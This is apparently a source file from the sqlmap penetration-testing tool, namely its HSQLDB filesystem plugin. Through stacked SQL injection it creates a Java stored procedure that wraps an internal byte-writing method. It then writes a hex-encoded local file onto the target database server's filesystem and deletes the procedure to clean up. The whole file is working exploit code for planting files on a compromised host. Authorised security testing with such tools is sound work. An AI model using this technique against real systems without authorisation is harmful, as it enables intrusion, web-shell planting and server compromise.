Path: blob/master/plugins/dbms/hsqldb/filesystem.py
2992 views
#!/usr/bin/env python12"""3Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)4See the file 'LICENSE' for copying permission5"""67from lib.core.common import randomStr8from lib.core.data import kb9from lib.core.data import logger10from lib.core.decorators import stackedmethod11from lib.core.enums import PLACE12from lib.request import inject13from lib.core.exception import SqlmapUnsupportedFeatureException14from plugins.generic.filesystem import Filesystem as GenericFilesystem1516class Filesystem(GenericFilesystem):17def readFile(self, remoteFile):18errMsg = "on HSQLDB it is not possible to read files"19raise SqlmapUnsupportedFeatureException(errMsg)2021@stackedmethod22def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):23func_name = randomStr()24max_bytes = 1024 * 10242526debugMsg = "creating JLP procedure '%s'" % func_name27logger.debug(debugMsg)2829addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes)30addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "31addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"32inject.goStacked(addFuncQuery)3334fcEncodedList = self.fileEncode(localFile, "hex", True)35fcEncodedStr = fcEncodedList[0][2:]36fcEncodedStrLen = len(fcEncodedStr)3738if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:39warnMsg = "as the injection is on a GET parameter and the file "40warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen41warnMsg += "bytes, this might cause errors in the file "42warnMsg += "writing process"43logger.warning(warnMsg)4445debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)46logger.debug(debugMsg)4748# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures49invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes)50inject.goStacked(invokeQuery)5152logger.debug("cleaning up the database management system")5354delQuery = "DELETE PROCEDURE %s" % func_name55inject.goStacked(delQuery)5657message = "the local file '%s' has been written on the back-end DBMS" % localFile58message += "file system ('%s')" % remoteFile59logger.info(message)606162